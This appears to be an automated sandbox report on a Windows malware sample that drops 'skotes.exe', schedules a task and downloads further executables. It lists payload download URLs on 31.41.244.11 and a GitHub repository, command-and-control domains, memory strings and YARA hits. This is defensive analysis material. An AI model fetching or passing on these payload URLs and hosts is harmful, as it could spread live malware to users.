Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007EE0C0 recv,recv,recv,recv,

0_2_007EE0C0

Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/1293295511/zudFSfy.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/1293295511/kz8ZdyP.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/lolz/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: aspecteirs.lat
Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: aspecteirs.lat

Source: skotes.exe, 00000006.00000002.2970891358.000000000076C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1293295511/kz8ZdyP.exe
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1293295511/kz8ZdyP.exei
Source: skotes.exe, 00000006.00000002.2970891358.000000000076C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2970891358.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1293295511/zudFSfy.exe
Source: skotes.exe, 00000006.00000002.2970891358.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1293295511/zudFSfy.exeshqos.dll
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exeW
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/dodo/random.exe
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/lolz/random.exe
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exeo
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exe
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exe%
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exe76-s
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exe9
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exeI
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exed
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exeded
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exei
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/iles/x3team/random.exe
Source: skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 00000010.00000002.2697865269.0000000007357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: e56fffc2ce.exe, 0000000E.00000002.2875306579.0000000006660000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2724345565.0000000000A47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: e56fffc2ce.exe, 0000000E.00000002.2875306579.0000000006660000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002C69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.com
Source: e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002C69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.comd
Source: powershell.exe, 00000010.00000002.2686734514.0000000005905000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2754514993.00000000057A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000013.00000002.2728388564.0000000004895000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.comd
Source: powershell.exe, 00000010.00000002.2671093967.00000000049F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2728388564.0000000004895000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2671093967.00000000048A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2728388564.0000000004741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000010.00000002.2671093967.00000000049F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2728388564.0000000004895000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000013.00000002.2728388564.0000000004895000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: powershell.exe, 00000010.00000002.2671093967.00000000048A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2728388564.0000000004741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: zudFSfy.exe, 00000007.00000000.2406021638.00000000008F2000.00000002.00000001.01000000.00000009.sdmp, kz8ZdyP.exe, 0000000B.00000000.2495215505.00000000001D2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/
Source: kz8ZdyP.exe, 0000000B.00000002.2572094309.0000000002831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/accountname.aspx
Source: kz8ZdyP.exe, 0000000B.00000002.2572094309.0000000002831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/balance.aspx
Source: zudFSfy.exe, 00000007.00000000.2406021638.00000000008F2000.00000002.00000001.01000000.00000009.sdmp, kz8ZdyP.exe, 0000000B.00000000.2495215505.00000000001D2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspx
Source: kz8ZdyP.exe, 0000000B.00000002.2572094309.0000000002831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspxS
Source: kz8ZdyP.exe, 0000000B.00000002.2572094309.0000000002831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/transfer.aspx
Source: zudFSfy.exe, 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://archive.torproject.org/tor-package-archive/torbrowser/13.0.9/tor-expert-bundle-windows-i686-
Source: powershell.exe, 00000013.00000002.2754514993.00000000057A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000013.00000002.2754514993.00000000057A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000013.00000002.2754514993.00000000057A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002C5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: powershell.exe, 00000013.00000002.2728388564.0000000004895000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp, e56fffc2ce.exe, 0000000E.00000000.2625265677.00000000008B2000.00000002.00000001.01000000.00000012.sdmp, e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002BE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe
Source: zudFSfy.exe, 00000009.00000002.2499731159.0000000005AF0000.00000004.08000000.00040000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.00000000043ED000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: zudFSfy.exe, 00000009.00000002.2499731159.0000000005AF0000.00000004.08000000.00040000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.00000000043ED000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2579288387.0000000003BC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: zudFSfy.exe, 00000009.00000002.2499731159.0000000005AF0000.00000004.08000000.00040000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.00000000043ED000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000010.00000002.2669231961.000000000302A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ion=v4.5
Source: powershell.exe, 00000010.00000002.2686734514.0000000005905000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2754514993.00000000057A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002C92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002C92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe
Source: skotes.exe, 00000006.00000002.2970891358.0000000000788000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp, zudFSfy.exe, 00000007.00000000.2406021638.00000000008F2000.00000002.00000001.01000000.00000009.sdmp, zudFSfy.exe, 00000007.00000002.2478294311.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000B.00000000.2495215505.00000000001D2000.00000002.00000001.01000000.00000011.sdmp, kz8ZdyP.exe, 0000000B.00000002.2572094309.0000000002831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sci.libertyreserve.com/
Source: skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: zudFSfy.exe, 00000009.00000002.2499731159.0000000005AF0000.00000004.08000000.00040000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.00000000043ED000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: zudFSfy.exe, 00000009.00000002.2499731159.0000000005AF0000.00000004.08000000.00040000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.00000000043ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922

Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.4:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49922 version: TLS 1.2

Source: ac68c6b737.exe, 00000015.00000003.2740383178.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_305b518e-8

Source: ac68c6b737.exe, 00000015.00000003.2740383178.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_88c59527-2

Source: Yara match	File source: 22.3.svchost.exe.4d00000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.3.ac68c6b737.exe.51e0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.svchost.exe.4ae0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.3.ac68c6b737.exe.4fc0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.svchost.exe.4d00000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000003.2740383178.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2745831377.0000000004D00000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2740579331.00000000051E0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2745248461.0000000004AE0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ac68c6b737.exe PID: 5012, type: MEMORYSTR

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: ac68c6b737.exe.6.dr	Static PE information: section name:
Source: ac68c6b737.exe.6.dr	Static PE information: section name: .idata
Source: ac68c6b737.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00B8CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_00B8CB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008278BB	0_2_008278BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00827049	0_2_00827049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00828860	0_2_00828860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008231A8	0_2_008231A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F8101	0_2_008F8101
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E4B30	0_2_007E4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F7B6E	0_2_008F7B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00822D10	0_2_00822D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E4DE0	0_2_007E4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082779B	0_2_0082779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00817F36	0_2_00817F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BB78BB	1_2_00BB78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BB8860	1_2_00BB8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BB7049	1_2_00BB7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BB31A8	1_2_00BB31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00B74B30	1_2_00B74B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00B74DE0	1_2_00B74DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BB2D10	1_2_00BB2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BB779B	1_2_00BB779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BA7F36	1_2_00BA7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB78BB	2_2_00BB78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB8860	2_2_00BB8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB7049	2_2_00BB7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB31A8	2_2_00BB31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B74B30	2_2_00B74B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B74DE0	2_2_00B74DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB2D10	2_2_00BB2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB779B	2_2_00BB779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BA7F36	2_2_00BA7F36
